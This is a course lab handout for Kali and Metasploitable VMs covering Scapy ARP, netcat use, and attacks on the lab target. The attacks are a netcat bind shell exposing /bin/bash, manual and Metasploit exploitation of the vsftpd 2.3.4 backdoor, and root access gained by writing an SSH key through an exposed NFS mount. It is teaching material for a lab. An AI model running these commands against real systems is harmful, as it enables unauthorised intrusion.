Lab 5

ARP with Scapy, Netcat, Various Server-Side Attacks

1. Coding ARP with Python Scapy

Using Scapy, we can easily create a Python program for testing ARP. The first line of your code should begin with:

```
from scapy.layers.l2 import Ether, ARP, srp
```

Eather method is used to create and manipulate the Ethernet layer (Layer 2) of a network packet. ARP method can specify IP address of a receiver (receivers using CIDR). The srp method is to send an ARP message and receive an answer. When the answer is arrived, you can access its IP and mac address using ".psrc" and ".hwsrc", respectively. The next lines of code are:

```
broadcast_mac = Ether(dst="ff:ff:ff:ff:ff:ff") #mac address for
broadcast
arp_ip = ARP(pdst="10.0.2.5")
```

Your task is to complete the above code snippet to write a program that simulate the ARP: When you specify a receiving machine's IP address, you get its mac (hardware) address.

Turn on Meta2 VM and test your program from Kali VM.
Homework: Install PyCharm on your Kali VM and write your code there.

2. Netcat

Netcat is often called the "Swiss-army knife of TCP/IP". Browse the help pages: `nc –h` or `man nc`.

The basic structure of nc command for *connecting* to another machine is:

```
nc options <IP address> port
```

The basic structure of nc command for *listening* for inbound connections on some port is:

```
nc -l -p port
```

Turn on Metasploitable VM and connect to it using netcat on port 80:

```
nc <Meta2 IP> 80
```

To get some more user-friendly information, try `nc -v <Meta2 IP> 80`. Try to connect Meta2 VM on port 22. If the connection is successful, you will get SSH-2.0-OpenSSH4.x etc. If you type anything, you will be disconnected. (This means failure to properly negotiate SSH handshake.)

Another basic but useful and interesting use of netcat is to run a simple server. Go to Meta2 VM and run `nc -l -p 1234` on terminal.

Metasploitable is ready to accept your inbound traffic on port 1234. Go to your Kali VM and connect to the Meta2 VM: `nc <Meta2 IP> 1234`. Then, type some text (and press enter) from Kali. Do the same from Meta2 VM. What's happening?

File transfer is also possible. Go to Kali machine, create a file named `plain.txt` and write something on the file. Go to Metasploitable machine and run netcat to have it open the port 1234 for the file `plain.txt`

```
nc -l -p 1234 > plain.txt
```

Then go back to Kali machine and run

```
nc -w 3 <Meta2 IP> 1234 < plain.txt
```

What does this option `w` do?

It is interesting to create a *backdoor* on the Meta2 VM. Using netcat, we want to put a backdoor in it. Now on Meta2, run:

```
nc -l -p 6500 -e /bin/bash
```

On your Kali machine run:

```
nc <Meta2 IP> 6500
```

Then run `ls` command. What do you see there?

3. Probing port 21 to exploit vsftpd 2.3.4 vulnerability:

Turn on Kali and Meta2 VM(,which is our target server). Find out Meta2 VM's IP address.

Scan Meta2 VM using `nmap -sV <Meta2 IP>.` Focus on port 21. What is the service (application) associated with this port? What software is used for the application? Google vsftpd 2.3.4 on Kali. What information can you get?

Connect to the Meta2 VM using the netcat: `nc -v <Meta2 IP> 21`. Then enter `USER invalid:)` and then `PASS dont know`. Terminate the connection and reconnect to the Meta2 VM using nc with port 6200 and see what is happening.

4. Using Metasploit to exploit vsftpd 2.3.4. vulnerability

The same attack as Task 1 can be carried out using Metasploit.

Open a terminal window and run `msfconsole` on Kali terminal, then run `search vsftpd`. (If Metasploit is stuck on "Starting the Metasploit Framework console", type ctrl+c to get "msf6" prompt.) Then, type `use exploit/unix/ftp/vsftpd_234_backdoor`. (Try to use tab button on

your keyboard for easy typing.) Next, issue `show options`. We can see we need to set up RHOSTS: `set RHOSTS <Meta2 IP>`. Run `show options` again to check whether `RHOSTS` has been set. Then, type `exploit`.

Once the exploit is successful (in Metasploit we say "a session has been opened"), type any unix commands including `uname -a`. Try to issue some other Unix commands.

5. Using Metasploit to perform information gathering to discover Samba version

Go back to the nmap result, find "Samba smbd 3.X – 4.X". Now we want to find an exact version for this samba software through information gathering based on command the "auxiliary" module. To do this, after running msfconsole, type, `search smb_version`. Then type `use auxiliary/scanner/smb/smb_version`. As usual type `show options` and `set RHOSTS <Meta2 IP>.` (You can set multiple IPs by putting CIDR notation.) Then type `run`. What is the version of Samba?

6. Exploiting file sharing vulnerability

Turn on Meta2 VM. First, by "nmapping" Meta2, find out port related to file sharing i.e. ports 111 (rpcbind), 2049 (nfs) and 22 (ssh) are open. Then run `rpcinfo -p <Meta2 IP>` to find out the details of Remote Procedure Call (RPC) information. Note that mountd (mount daemon) service. Also, as a preliminary for setting up ssh algorithm for backward compatibility (ssh on Meta2 is old…), add the following lines

```
HostKeyAlgorithms +ssh-rsa
PubkeyAcceptedKeyTypes +ssh-rsa
```

to `/etc/ssh/ssh_config` on Kali.

Now, we can start the attack.

1) Run `sudo showmount -e <Meta2 IP>` (Note that the result indicates that Meta2 exports the entire file system. (Why?))

2) Run `ssh-keygen -t rsa` (Keep pressing enter key to generate public key with null private key.)

3) Run `sudo mkdir /mnt/own` to make a directory called "own".

4) Run `sudo mount -t nfs <Meat2 IP>:/ /mnt/own/` (This is to mount Meta2's root file system to our own directory.)

5) Run `sudo cat ~/.ssh/id_rsa.pub >> authorized_keys`

6) Run `sudo cp authorized_keys /mnt/own/root/.ssh/authorized_keys`

7) Run `ssh root@<Meta2 IP>`

8) Answer yes to "Are you sure you want to continue connecting…"

9) Run `uname -a` to see whether you got the shell.